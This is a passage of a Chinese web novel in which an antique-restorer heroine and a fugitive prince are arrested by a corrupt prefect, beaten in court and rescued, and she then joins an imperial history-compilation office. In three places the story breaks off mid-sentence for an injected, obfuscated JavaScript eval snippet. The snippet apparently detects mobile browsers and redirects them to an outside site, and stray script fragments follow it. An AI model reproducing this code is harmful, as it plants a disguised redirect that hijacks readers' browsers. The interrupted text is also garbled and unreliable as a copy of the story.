路元玉两人早早歇下了,第二天,她照常又出现在昨天摆摊的位置。 行市里乱糟糟的东西已经被人收拾干净,她的桌椅长凳也还摆在原处。 众人见路元玉和张府作对后不仅毫发无伤,竟然还敢大咧咧地出现,一时间对她也有了点敬佩之情。 为了默默支持她,有几个乡亲专门回自己家里拿来了破旧的物件来让她修,人虽然不多,但路元玉看着一水的梳子、木盆、梳妆盒等物件,有些哭笑不得。 虽然她学的是古物修补,虽然她们手上的东西对新时代的她确实是上了年头的东西,但以现在的目光来看,最多也就是用了几十年的历史,随便找个工匠修一修就行了,没必要来她这里让浪费钱。 然而乡亲们太过热情,她说什么都不听,在她坚持不懈一一劝退时,长街尽头忽然传来一些骚动。 33. 第三十三章·堂审 “让开!让开!” “官府办案!耽误办案者即刻捉拿!闲杂人等速速让开!” 路元玉拨开人群往外看,发现不远处来了一队弓手,看上去得有数十人。 街上的百姓见状,都吓得从路元玉摊位前离开了,凭借他们多年经验,他们觉得这次的弓手是来抓阿青她们的。 果然,过了一会儿,为首的弓手在路元玉摊位前停下了。 为首的弓手是个三十多岁的中年壮汉,面容粗糙,神色狠厉,脸上蓄着一些胡茬,腰上别着把长刀,手上拿着个卷轴。 他在路元玉摊位前猛地停下,目光在两人身上打量,然后将卷轴展开,对着阿青看了又看。 “你就是阿青?” 他声音粗糙沙哑,底气十足,阿青有些害怕,不着痕迹地往路元玉身边挪了挪。 路元玉拍拍她的胳膊以示安慰,主动挡在她身前,直直看向他,“你们想干什么?” 弓手长目光移到路元玉脸上,不善地上下打量她两眼,歪嘴冷笑了一声,“让开,我们抓的是阿青,如果你阻碍办案,我们连你一块拿下!” 路元玉眼睛都不带眨一下,“你们为什么抓她?” “她恶意买卖,行为恶劣,我们知府的命令,即刻将她捉拿归案!你若是再不让开,我们就不客气了!” 路元玉:“你有什么证据?!” 弓手长冷呵:“证据?我只负责抓人,你想要证据,去和我们知府说去吧!来人,拿下!” 后面上前两个人,眼看就要将路元玉二人抓走,季修宁忽然不知从哪个方向飞了出来,一脚踹在那两人身上,然后直直落在路元玉身前。 他身材高大,面容冷峻,往那里一战就带给众人强烈的压迫感。 弓手长被强烈的气息逼得往后退了两步,站稳后发现这个一身黑衣的男人应该就是他们口中说的武功高强的男子。 幸好他今天多带了一队人,都是衙门里武功佼佼者,势必能将这个男人拿下。 “给我上!”他一声令下,后面的衙役们又齐齐冲了上来,季修宁一肘击开正面冲来的衙役,又闪身躲过侧方劈来的长刀,然后转身勒住他的脖子,将长刀从他手中夺下,一脚又踢飞了侧后方的袭击。 季修宁每天都在练武,现在的功夫比之前在船上被袭击时进步了许多。 路元玉在后面看着,还要提防他们可能的偷袭,眉心越皱越紧,虽然看上去季修宁占了上风,但那些衙役也都有些真功夫在身上,可以看出他们也还没使出全力。对付三五个这样的人还行,但是三五个轮流上,一会儿季修宁就没力气了。 没想到张陉如此沉不住气,这才第三天就让官府的人来抓他们了。如果他们今天被抓,那不靠外力就很难出来了,要不趁现在把信给顾老寄出去? 昨天夜里她担心事情有变,已经提前将信写好了。 路元玉观察了一下那边的战况,发现那个弓手长竟然正死死盯着她们!她想跑也跑不远。 路元玉沉吟片刻,将信交给了阿青,“阿青,你去找个靠谱的人,把这封信寄出去!” 阿青接过信,心里虽然害怕极了,但仍郑重地点了点头,“我一定会办好的!” 她们的动作很隐晦,所以弓手长只看到路元玉对阿青说了句话,阿青就跑走了,他便以为她率先跑走了,立刻叫来个人,让他追着阿青将她捉回来。 路元玉见状,将身前的桌子用力推了出去,阻挡他的去路,他却一脚就给踹开了。 路元玉又将长凳扔了出去,换来了和木桌一样的下场,但阿青已经跑远了。 但她不敢掉以轻心,手边不管有什么全都扔了出去,等以后有机会再做补偿。 衙役被东西砸的前进不了半步,弓手长见状连忙派了另外一个人去,被路元玉挡住的衙役就直接朝她冲了过来。 季修宁闪身躲过一次攻击,抬眼就看到路元玉陷入了危险,连忙过来帮忙,他将那名小厮打了出去,自己却差点被打中。 他不放心将路元玉一个人放出去,就带着她一边打架一边保护她,这样虽然保证了她的安全,但他的体力耗费的极快,不一会儿就坚持不住了。 官府这边彻底倒下七个人,一个人去追阿青了,算上弓手长,还有三个人能和季修宁打个来回,但季修宁彻底坚持不住了,被一柄长刀直接贯穿了腹部,吐出一口鲜血。 “不要!”路元玉没能及时帮他挡住,心瞬间提到了嗓子口,顾不上其他,连忙去查看他的伤口。 季修宁将刀插在地上,单膝撑住,脸上额头上尽是汗渍,嘴唇干裂起皮,整个人狼狈地不行。 尽管如此他还想挣扎着起来继续打,路元玉连忙按住他,眼泪不听话地从眼眶中滑落,“你不要命了!不许打了!” 季修宁粗喘几下,固执地将路元玉推开,嗓音阴沉沙哑,“我没事。” “你都这样了怎么可能没事!”路元玉气得吼了他一声,然后又靠近他低声说道:“你别担心,我让阿青去给顾老送信了,顾老一定会救我们的,现在你别去打了。留得青山在,不怕没柴烧。” 路元玉不知道什么时候握住了他的手,温软的触感让他有片刻失神,他皱了皱眉,不再坚持。 但他心里清楚,顾老可能会救路元玉,绝对不会再救他,不过他不想让她担心,就随她吧。 两人被弓手长抓了回去,关在了牢房。 两人虽然被分开,但是相邻的两间。 路元玉坐在分割的栅栏前,拿出系统给的简易医药箱,对被扔在门边还没爬起来的季修宁道:“你过来,我给你包扎一下伤口。” 季修宁闻言,手指动了动,然后艰难地起身走了过来,走到她这里又像失去全部力气般瞬间跌坐下来,吓得路元玉担心他将肠子震出来。 她一心只担心他的伤势,没有多说话直接上手开始给他脱衣服,路元玉给他包扎了很多次伤口,大部分情况下都是在他昏迷的时候进行的,所以他并没什么感觉,但此时他还未陷入深度昏迷,猛地被路元玉这么奔放的举动吓得睁开了眼。 路元玉一脸疑惑,将他的手拿开,“别乱动,我在给你上药。” 季修宁犹豫了一番,想到自己之前应该也是被这么上药的,就不在纠结。 刀伤很深,几乎要将他身体贯穿,路元玉全程都是皱着眉完成的。 给他包扎完之后,路元玉才放松下来,她调整姿势侧身靠着栏杆,眼神空洞的看向外面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157735|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她现在很想道歉,很想对季修宁说对不起连累他了,但她一个字都说不出口。 她一直都认为道歉是责任推卸,小事上犯错了,一句对不起可以被原谅,但她如今犯了这么严重的错误,导致两人均被关入大牢,如果顾老不帮她们,她们一介平民,就永远出不去了,她一句轻飘飘的道歉并不能改变什么,反而还会让重伤在身的季修宁分出心思来安慰自己。 她做不出来这种事。 现在她只能寄希望于阿青顺利地将信寄出去。 大牢里阴暗潮湿,牢房内不时有老鼠经过,除了滴答的水声就是老鼠吱吱的叫声,路元玉第一次在这么恶劣的环境中休息。 不知道过了多久,牢房里没有任何人给他们送水或饭,季修宁唇色已经干裂苍白,急需补充水分,路元玉急得在大牢里喊人,然而除了换来别的罪犯的几句责骂,并没有任何衙役搭理她们。 正在她急得不知如何是好时,忽然昨天抓她们的弓手长来了。 她连忙上前:“快放我们出去,否则你们会后悔的!” 弓手长哈哈大笑:“后悔?马上你就会后悔的!提前告诉你,叫阿青的那个女人我们已经抓到了,现在就在堂前,等着带你俩过去一块审呢!” 路元玉心里猛然一惊。 被抓到了,完蛋了。 她顿时失去全身力气,顺从地被人带到堂前,眼神和思维不知道为什么无法聚焦,她不知道怎么就到了这一步。 不该救阿青吗? 可是……如果再让她选一次,她还是会选择救的,这次失败只是她用错方法了而已,她一定有机会逃走并且将张府狠狠击垮的。 “姐姐!”阿青焦急的声音让她回过神,她抬头看去,阿青也狼狈不少,但她不着痕迹地冲她点了点头,眼中溢出些感动的泪花。 这一下路元玉心里安稳许多,刚才失去的那些信心又重回心头。只要阿青将信送了出去,她就确信顾老一定会帮她的。 但她没高兴太久,猛地被人推了下去,狠狠跪在冰凉粗糙的地面上。 这个场景似曾相识,路元玉想起来她刚来到这里的第二天就被张婆子这样推到驿丞陈潢面前,那时她忍了她们将近一个月,抓住机会将她们弄走了,这次她也会是最终的胜利者。 醒木惊堂,知府懒散的嗓音响起,“堂下何人?” 路元玉三人默契地都没说话,知府段旭一直没听到有人回话,长长地“嗯”了一声。 堂下,弓手长立刻推搡了他们一下,“知府大人问话,赶紧回答!” 路元玉抬头狠狠盯着眼前这个所谓的知府,眼底的仇恨丝毫不加掩饰。 知府段旭前朝时就是应天府的府尹,新朝确立后他立刻表明态度愿意跟随新帝,新帝为了奖赏他就让他继续在金陵城当府尹,虽然他不在天子脚下当值了,但也体会到一些地方官的乐趣,尤其是近年来张府的供奉,让他变得昏庸起来。 他今年已经将近五十岁,却好像他快活的一生才刚刚开始,每天沉浸玩乐,不理正事,财气让他的身材彻底走样,精神气也越发消沉起来。 被路元玉这么盯着,段旭突然感到身体一寒,紧接着恼羞成怒道:“大胆罪奴,竟敢直视本官?给我打!” 34. 第三十四章·重见甘凌 “好啊,你最好打死我,打死我以后,你的英勇事迹上又能新添一笔!”路元玉心里也害怕,但她骄傲惯了,在单位敢和领导顶嘴,到了这里更是不可能向黑恶势力卑躬屈膝摇尾乞怜! 如果她真的很倒霉被打死了,那她也认了。 “嗯?”段旭眯着眼看向路元玉,浑浊的眼睛闪着异样的光。他听出来路元玉在讽刺他,但他没听出来路元玉在讽刺他于张府勾结,虽然恼羞成怒,但不至于完全失去理智。 他又看向另一边的男人,懒懒地跪坐在地,低着头一言不发,虽然看不清他的神情,但周身气质却不一般。 阿青跪在两人中间,相比像个二十多岁的大人,刚及笄一年的阿青看起来稚嫩许多。 段旭冷哼一声,决定从阿青入手。 他又是猛地一拍醒木,“罪奴阿青,你可知罪?” 阿青身体猛地一抖,低着的头不自觉又深了两份,但说出来的话却没有丝毫惧意,“阿青不知。” 见三人都不配合,段旭生气的同时感到有些疲惫,他都多少年没仔细审过案子了,一下子来了三个硬茬,真给他出了个大难题。 不过目前为止,还没见他们拿出什么底牌,想必他们确实如张陉所说,没什么背景。 既然没有背景,段旭就更不愿意在他们身上耽误时间了。 “不知?不知就给我打!打到认罪为止!” 段旭扔下一根竹签,弓手长立刻会意,抓着阿青就走到一旁的长凳上,另外两个衙役拿着长木板,不由分说就打了上去。 阿青因为害怕,不受控制地叫出来一声,而后不管她再疼,都没有再出声一次。 这两个衙役都没有收着力道,阿青只刚挨了两板子,唇色就已经苍白了,但她却死死咬住嘴唇,一声也不吭。 路元玉看得心疼,想过去替她挨打,却明白这样解决不了问题,反而会让自己本来就弱势的处境变得更加糟糕。 她猛地从地上站起来,“应天府府尹大人什么都不问,就这样屈打成招吗?如今我们连个原告的影子都没看到,府尹大人就想要把我们打死吗!” 段旭生气地看着她,心想如果能直接把你们打死那再好不过了,但是你们会安生送死吗? “好啊,既然你也想去死,那本官就送你一程!” “来人!将这个泼妇也拉出去打三十大板!” 路元玉顿时被两个衙役拉扯住,路元玉拼死挣扎:“你这个草菅人命,罪大恶极的狗官!你最好把我打死,否则以后我一定不会放过你!我做鬼也不会放过你的!” 路元玉和阿青一样,也被压到长椅上,眼看木板就要落到她的臀上,她身后两名行刑的衙役忽然被人踹倒了。 众人一看,发现地上跪着的男人不知什么时候站到了路元玉身边,一副誓死保护她的样子。 段旭见状,气得脸色通红,这么多年来,有谁敢在他的审堂弄出这么大的动静? “打!都给我打!” 段旭放出狠话,旁边站着的衙役们全都一起打了上去,季修宁没有后退半步,将他们的招式一一都挡了下来,甚至隐约还杀出一条生路。 今天这里的衙役并不是昨天抓他们的那群人,那群人昨天几乎都被季修宁打成了重伤,今天无一例外都在家里养伤。 段旭也想不到,腹部被刀重伤的季修宁竟然还能继续打。而现在,他几乎快要被季修宁抓住了。 他也想躲,可是他不敢,下面那些人手里的刀时不时就被季修宁打下来插入他背后的墙上,如果他不小心动了,说不定就插在了他的脑袋上! 今天他可是太后悔过来了! 但后悔也没办法,眼看着季修宁一脚踩在了他的案几上,马上就要抓住他,门外忽然响起了一道陌生的嗓音。 “哟,看来今天这里很热闹,我倒是来的不巧了。” 段旭闻言,眼睛一亮,连忙就想爬起来找他帮忙,却被季修宁利落地扯住了衣领,在他脖子上架起了一把刀。 知府段旭被挟持,下面的衙役不敢再乱动。乱糟糟的场面忽然平静下来。 路元玉连忙从长椅上坐起,向门口那边看去。刚才隐约听到一个人的声音,听起来好像有些耳熟。 恰好那个人也走近了,见到院子里乱糟糟的景象,不仅没有一丝生气与害怕,反而脸上带带着一种看戏的兴味之色。 那个人和路元玉的视线对上,脸上笑意更重:“李姑娘,好巧。” 路元玉也很惊讶,这人竟然是甘凌,没想到他们居然会在这里遇见。 但她只是淡淡点了下头致意,现在还分不清他的身份是敌是友,贸然靠近恐惹祸上身。 甘凌也不介意,依旧笑着,目光从面前人的脸上一一扫过,最后落在了首位的段旭和季修宁身上。 这时他仿佛才感到惊讶,眼睛微微睁圆,讶异问道:“二位这是……?” 段旭根本不认识眼前这位年轻公子,但此时也顾不上什么了,口不择言地求救道:“公子,救救我!你想要什么,我都可以给你!” 甘凌也没有先表明自己的身份,而是挑眉,饶有兴味道:“哦?什么都可以?” 段旭不断点头:“什么都可以!” 甘凌掩唇一笑,然后抬头看向季修宁:“李兄弟,看在我们是旧识的份上,你就将他放了吧。” 季修宁脸色苍白,形容狼狈,但身形高大修长,他冷着脸的时候仍有一种不可侵犯的气势。 他冷冷撇过头,不仅不说话,段旭脖子上的刀还向里刺进了一公分,惹得段旭哇哇乱叫。 如果不是甘凌突然出现,他早就把段旭杀了。 路元玉见状,连忙上前两步,“甘公子,你有所不知,我们也是不得不这样做的。” 甘凌转身,看向路元玉:“哦?此话怎讲?” 路元玉心里在不断地思考。 最初时季修宁告诉过她,此人不好相与,后面他对自己太过热情,自己便对他多了几分不喜,没再怎么接触过。 如今重逢,他不仅对眼前这荒谬的场面没有一点惊讶,反而还游刃有余的样子,路元玉猜想,他一定也调查过最近几天这里发生的事情了。 只是不知道为什么,在她们前脚刚到金陵,他后脚就跟着来了,但从他目前的态度来看,他和知府段旭应该不是同一个阵营的,否则知府也不会许诺给他好处让他救人了。 而且看甘凌这通身的气派,这不俗的气质,路元玉第一眼见到他时就知道他必定不是普通人,如果能让甘凌帮她们一把,就不用等着顾老那边再派人来了。 思及此,路元玉又上前一步,压低声音道:“甘公子,可否借一步说话?” 甘凌若有所思看了路元玉一会儿,点了点头,“可以。” 两人走到一个角落里,路元玉压低声音,率先开口:“甘公子,近几日想必您也听说了,张府在金陵城和官府勾结,为非作歹将近十年。” 甘凌点点头,他这次来也是为了打探这个消息。 路元玉:“可是您不知道您可曾查到些什么具体内幕呢?比如一些证据?” 甘凌摇摇头,张家和官府的人做事都非常小心谨慎,他查了两天,都是一些鸡毛蒜皮的事。 他这次来,其实主要是为了将张家的泼天财产收入囊中。 新帝登基之初大兴土木,后来边境连年征战不断,国库已经快要亏空,他这次出京是奉皇命,将地方大富的财产尽力薅出来一些充入国库。 但那些富绅哪是那么轻易就能对付得了的,跟他们开口要钱比要他们的命还难,所以他南下这段时间,只要能将他们一网打尽就一网打尽,这样不仅来钱快,还没有后顾之忧。 当时在湖州府顾老那里,他也是等了好久的机会,奈何顾老太难对付,他才又转到金陵,没想到刚上岸,就听说了今日张府遭遇的一系列事情,他听人描述就感觉是李姑娘,没想到还真是。 李姑娘救了阿青,阴差阳错和张府以及府尹对上了,他担心两人可能遭遇危险,便特意过来看看,没想到,这李姑娘又给了他一个惊喜。 路元玉看着甘凌眉头轻蹙,心中松了一口气,只要他没拿到切实的证据,那自己手中的这些供状就可以成为他们交易的筹码。 其实想要的弄到这些供状并不容易,路元玉只是另辟蹊径,直接从内部将他们瓦解了,若是按照甘凌偷偷摸摸在背后查的做法,一年半载可能也查不出来什么。 路元玉不知从哪掏出厚厚一叠纸,展示给甘凌看,“这些东西都是我费了好大的劲弄来的,都是张家里小厮的口供,按了手印的。不管你想做什么,这都能帮上你不小的忙。” 甘凌瞳孔微缩,想不到,这里姑娘竟然这么有魄力,这才几天就能把这些东西全都弄到手! 路元玉见他一副被惊到的样子,抿了抿唇还是提醒道:“这不是全部,只是一部分人的口供。如今……”路元玉往后看了段旭一眼,“知府已经被捉,我们可以私下翻找他的东西,听说他有一个阴阳账本,这种东西只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178133|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在,就一定会被贬官吧?” 阴阳账本!甘凌作为从小就跟随新帝的皇商,最痛恨他手下的人弄什么阴阳账本,这不是对皇帝不忠吗? 见甘凌呼吸倏然急促起来,路元玉知道戳中他的神经了,更是安心几分。 “所以这段旭不仅不能放,您还要将那个阴阳账本和这些,一并交给可以对付他们的人。到时候,你的好处少不了。” 路元玉从始至终都没有过问他到底是何身份,甘凌并不觉得她早就暗中查到了自己的身份,因为他的身份是做过假的,而且她想查,也很难查到。 但就这这么一个看起来平平无奇的女人,竟然知道他想要什么,还知道跟他谈条件,果然不容小觑,她的真正身份肯定也不一般。 思量再三后,甘凌微微点了点头,回头再看向段旭时,眼中已经没有了方才的闲适。 季修宁见两人谈了这么久,已经有点不耐烦了,刚想将段旭绑起来,就见两人终于说完了。 路元玉快步走上前,对甘凌道:“既然我们达成了合作,后续安排都要听我的。现在让你的人把大门关上。” 甘凌见路元玉变脸这么迅速,有些无奈地摇了摇头,然后手轻轻一抬,后面就有人关上了门。 衙门里的那些衙役们也都被绑了起来,段旭被单独绑起来,被甘凌的手下牵着。 路元玉坐在桌子上,虽然是仰视站着的段旭,但骄傲的姿态比段旭还像一个知府。 “现在,把你和张府勾结的证据交出来,我们饶你不死,否则——”路元玉坐了个抹脖子的动作。 段旭已经绝望了,他本来就胆小,被晾在一边等了这么久,他早就把所有刑法都脑补了一遍,自己吓自己,已经不用路元玉再多说什么,就全都招了。 甘凌拿到证据后,路元玉让他带着段旭马不停蹄去往京城上奏去了。 张陉听到此剧变,整个人都慌了,坐立不安,食不下咽,没想到这路元玉还真有背景…… 不行,他得赶紧逃。 然而前脚刚收拾好细软,后脚顾老的人就到了。 路元玉在信里说张家倒卖文物,行为实在恶劣,顾老此次派人来就是来抓他们的,顺便还真的在他们家搜刮除了好几箱贵重文物,顾老收到消息后,又特意给路元玉写了一封信告知,并且此次之后,顾老是真的将路元玉看作了自己的弟子。 毕竟路元玉不仅聪明伶俐,眼光毒辣,手法娴熟,还有一颗对待文物敬畏的新,不谗不媚,是他做梦都想认下的学生,没想到竟然是一个女人! 不过他也管不了那么多了,她虽然是个女人,但丝毫不必男人差! 在甘凌和顾老的帮助下,很快张府就倒台了,京城那边换了个人来接任应天府府尹一职。 由于这两件事都是大事,金陵城的百姓很快就知道了前因后果,知道竟然是路元玉这一个外来的姑娘帮他们铲除了金陵的这股恶势力,都纷纷前来感谢她。 甘凌走之前,路元玉从他那里借了点钱,和季修宁租了个房子住下,阿青没了威胁,回到了自己家,事情终于告一段落。 路元玉重操旧业,选了个位置又开了个店,日子又恢复成以往安定和谐的样子。她在金陵城名声大震,几乎所有人都要去照顾她的生意,一时间又忙不过来了。 因为这次除了修古董挣钱,她还多了一个职责,就是帮季修宁鉴定古画。由于白日里没什么时间,她都是晚上加班给他鉴定,好在他也不是天天都能搜罗到古画,所以她还不算很累。 阿青离开后,接替了父亲的医馆继续给人治病。她说她天分不佳,父亲经常骂她笨,但还是不遗余力将所有医术都传给她,只是想着以后的日子还长,阿青父亲并没有将所有东西都教完,阿青只学了不到一半。 原本阿青很厌恶学医,她觉得无聊又辛苦,反正父亲一直都在,以后再学也来得及。 但经此剧变,阿青好像长大不少,她一边看诊,一边学习父亲留下来的医案,生活虽然平淡但也算充实。 阿青还专门给路元玉把过脉,说她的身体积劳成疾,伤及根本,还给她送了一些补药让她喝。 路元玉没有推辞直接就收下了,她不想拒绝阿青的好意,也正好她早就想补一补了。 日子就这么过了两个月。 四月中旬,正值清明,春深夏浅,时节交替。 这日晚上,季修宁再一次敲响了她的房门,她还以为又是什么古画,但没想到,季修宁竟然给了她一个意想不到的东西。 35. 第三十五章·修补《前朝史》^^…… “这是……” 季修宁风尘仆仆,被路元玉迎进来后,坐下就不客气地给自己倒了杯茶,随后掏出放在怀里的一个卷册。 路元玉脸上有些疑惑,不过没有细问,直接接了过来翻看。 “当今圣上为彰显文治,特命人编纂《前朝史》……”路元玉有些不太懂他的意思,双眉轻蹙看着他。 “和我们有什么关系吗?” 难道,他的意思是让她赶紧翻案,省的自己家族被当成奸佞之臣编进去吗? 季修宁坐在椅子上平复呼吸,喝了点水之后感觉好多了,但是没想到路元玉竟然不懂他的意思。 他顿了下,提醒道:“在图集整理司。” 路元玉瞬间会意,惊讶道:“你是说,让我通过这种渠道混进去?” 季修宁微微点头。 可是,路元玉又立刻冷静下来,“不过这种事应该都是朝中大臣们才有资格参与的吧,我有什么资格?” 季修宁面不改色道:“放心,你明天直接去就是,我已经替你安排好了。” 闻言,路元玉比刚才得知家族冤案消息有进展时还惊讶。 在她印象中,季修宁是个落魄不受宠,单打独斗的前朝皇子,这一点在湖州时就能看出来,当时在湖州,他做什么都亲历亲为,颇有限制。 加上初到金陵时,他也没有向任何人求助,所以导致路元玉以为季修宁急着找到潜鳞就是急于培养自己的势力,没想到他还是有些人脉的。 见路元玉丝毫不掩饰震惊的样子,季修宁扯扯嘴角,有些无语,怎么说他也是在金陵出生的皇子,又在金陵混了二十多年,怎么可能没有一点势力。后来新朝定都汴京时,他才离开。 被人一路追杀到湖州是因为他不想毁掉他布在金陵的人脉。那时他想的是,如果他能再回来,这些人和资产就是他东山再起的资本,如果回不来,那些人就可以幸运地过一辈子了。 刚来金陵时不找他们,一来是没时间,二来是没必要,他的那些人身份都很隐秘,如果联络过于频繁会引起不必要的怀疑。 但路元玉的事不一样,她不仅帮了自己那么多,还从来没有要求自己做些什么,两个月前也因为他武力不足导致被捕,到头来竟然还是甘凌那个男的帮了他们。 这两个月来他夜夜睡不着,总觉得在在路元玉心里,自己没那么重要可能是因为自己还不够强大,不能帮到她,所以他才会一边寻找潜鳞的下落,一边帮她打听路家冤案的线索,反正都是找,他两个一起找也没什么,更何况她自从跟着他来到金陵以后,几乎都没怎么休息过,将这条线索当作礼物送给她也未尝不可。 这么想着,季修宁唇边又不自觉溢出一声轻笑。 路元玉看着他低头轻笑的样子,一时间竟有些晃神。 这两个月来他们虽然时不时会在晚上碰面研究古画,但实际上不怎么说话,多数都是他沉默地递给她,她沉默地打开,他沉默地收起来,沉默地离开。 偶尔他们会问候两句,但都是表面客套,自从他们那次闹过矛盾后,很久都没有像现在一样轻松地谈话了。 路元玉也想过抽出时间来查线索,但她实在抽不开身,她便想着等过段时间,再过段时间……一连就过去了两个月。 其实如果季修宁今天不给她带来消息,这两天她也是要去找的,只是他的主动帮忙,确实减少了她很多麻烦。 路元玉面色柔和两分,坐了下来,一时间不知道该说些什么。 忽然,一声“咕噜”声响起,路元玉目光不自觉落在季修宁肚子上,笑出了声:“还没吃饭吗?” 季修宁下意识想摇头,但见路元玉笑意盈盈的目光,不由自主地点了头。 路元玉又站起来,声音轻快道:“正好我也饿了,等我去下碗面。” 路元玉离开后,季修宁独自坐在房间里等着,低头看向自己的肚子,狠狠锤了一拳。 真是不争气。 他又抬头,绕着路元玉房间看了一圈,感觉今天晚上实在太安静了,安静地他好像能听到路元玉在厨房忙碌的声音。今天晚上也太温暖,他浑身燥热,好像在一间火炉里,热火烘烤的的全都是路元玉身上的气息。 他猛地站起来,修长的食指不自觉握成拳,纠结了一番,向厨房走去。 路元玉见到季修宁,以为他是等不及了,便说道:“马上好了,再等一会儿。” 季修宁站在她身边低低道:“不急,我来帮你。” 路元玉本想拒绝,但一回头,看到他微红的耳根和略有些局促的小动作,便点点头笑道:“好,那你把火烧旺一些,我打个荷包蛋。” 两人一边吃饭,又一边说了些细节。 汤面蒸腾的热气模糊了两人的视线,季修宁忽然说道:“负责这次修编工作的除了韩学士,太子和太子妃也来亲自前来督促,不过如今太子已经离开,太子妃还在。你要翻找资料时要多加小心。” 太子和太子妃?原书的男女主也来了?路元玉直接愣住,他们来做什么? 原书里说他们成亲以后就没继续往下写了,所以路元玉也不知道他们要做什么,一时有些紧张。不过转念又一想,不管他们做什么,跟自己是没什么关系的,自己专心查线索就好了。 不过一想到能见到女主,路元玉心中突然有些期待,当初追这本书时,自己还挺喜欢女主的人设的,没想到有朝一日竟然能亲眼见到她。 确认没有其它要注意的事项后,季修宁就回去了,顺便还带走了两人的碗筷。 翌日,路元玉早早来到图集整理司,门吏听说她是李姑娘,没有多问就将她带进去了。 图集整理司是前朝时期的三进三出的旧官邸改造的,门吏带着她 穿过前庭,来到正堂。 “姑娘还需要稍等片刻,负责编纂的韩大人和程大人还要等会儿才能过来。” “好。” 路元玉坐下后门吏就出去了,她抬眼将室内环视一圈,这是一间明显的办公房,布置得干净简洁,整个宅邸都是坐北朝南的布局,北边摆放了一张宽大的紫檀木公案,案上摆放着一些笔墨纸砚和书籍,案后放着一张大大的山水屏风。 东西墙下各摆放了数张长条书案,上面也摆放着一些书籍。 阳光从窗户和门口穿过,洒在室内的青石地板和桌案上,显得威严庄重。 大概过了一炷香的时间,前庭陆陆续续传来了交谈声,路元玉迟疑地从座位上站起来。 又到了这种社交场合,她还是有点紧张的。 “前几天让你们找的会修补典籍的匠人找到了吗?这里的进度可耽误不得。” “找到了,不出意外今天就到了。” 两人说着,一边走到了门口,一抬头,就见到正堂里站着一个陌生的女子。 为首的男人身材硬朗,骨架较大,蓄着一捋胡须,眼神明亮,文人气息浓厚,站在他身侧的男人年轻许多,看上去像是他的学生和下属。 见到路元玉后,年轻男人先是疑惑片刻,然后试探着问:“这位姑娘,你这是……?” 路元玉笑着微微颔首,“两位先生好,我是新来的修补典籍的工匠。” 对面的两个男人对视一眼,都从对方严重看到一些不可置信的意味。 路元玉懂他们的震惊,他来到这个世界后,只有当初的侯四同老爷子没有对她的手艺表露出奇怪的感觉,其他人都是一副见了鬼的样子。 年轻的官人蹙着眉问:“你可是顾典籍介绍来的?” 路元玉点点头:“对,我跟着师父学习修补直属已经接近二十年。虽然是前阵子刚来到金陵,但我修补之道不在话下,不管是典籍还是器物我都能修。” 年轻官人:“可是顾典籍年龄那么大了,你们是怎么认识的?” 路元玉轻笑一声,有些不好意思道:“说来惭愧,两个月前我在金陵弄出了点小动静,金陵城内的百姓就都认识我了,后来我在坊里开了个小店,顾典籍常去坐坐,一来二去就认识了。” 一说到两个月前,两人都是有所耳闻。 年轻官人更是震惊,“你、你就是那位李姑娘?” 路元玉点点头:“正是。” 年长的男人闻言,看向路元玉的眼神也变了变,这件事他也听说过,不过那些事情跟他们关系不大,他没有多做关注,不过内心还是对路元玉多了些好感。 他们两人对视一眼,年轻官人高兴地上前一步,“原来是李小姐,久仰大名,这位是韩学士,是我们这次修编工作的负责人。我叫程砚,只是一个编修,日常叫我名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188360|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好。” 路元玉和两人认识一番,就开始进入工作状态了。 由于前世路元玉工作经验丰富,日常又经常大量修补文物,所以修补这里的书籍对她来说反而很简单,这里的工具又比较齐全,很快就将损坏了的书卷和纸张修不了很多,韩学士和程砚都对她的手艺赞不绝口。 不知道过了多长时间,快到中午的时候,外面忽然传来一声通报。 “太子妃娘娘到——” 屋内的众人齐齐停下手中的工作,从座位上站起来迎接,路元玉入乡随俗,也赶忙行礼。 传说中的太子妃,原书中的女主角辛舒从外面翩然走进,带进一室清冷香气。 “不用多礼,都起来吧。”她声音泠然动听,像山间清泉沁人心脾。一边说着,她一边走到首位的桌案内侧,那里放了一个小座椅,摆放的舒适惬意,她径直坐了上去。 韩学士和程砚两人慢慢直起身来,但仍低着头不敢直视眼前的人。 路元玉则是大着胆子抬头看了一眼,发现辛舒正在盯着她看,眼中有些了然和欣赏。 “你就是李元玉?” 路元玉弯了弯唇,顺从地应了一声:“是。” 辛舒皮肤白皙,眉眼温和,气质清丽脱俗,又贵气逼人,确实没有让她失望。 辛舒早就听说过这位李姑娘了,今日一见果然不同凡响,虽身处低位,但仍不卑不亢。现在想来,当初她弄出来的一系列事件都不觉得惊讶了。 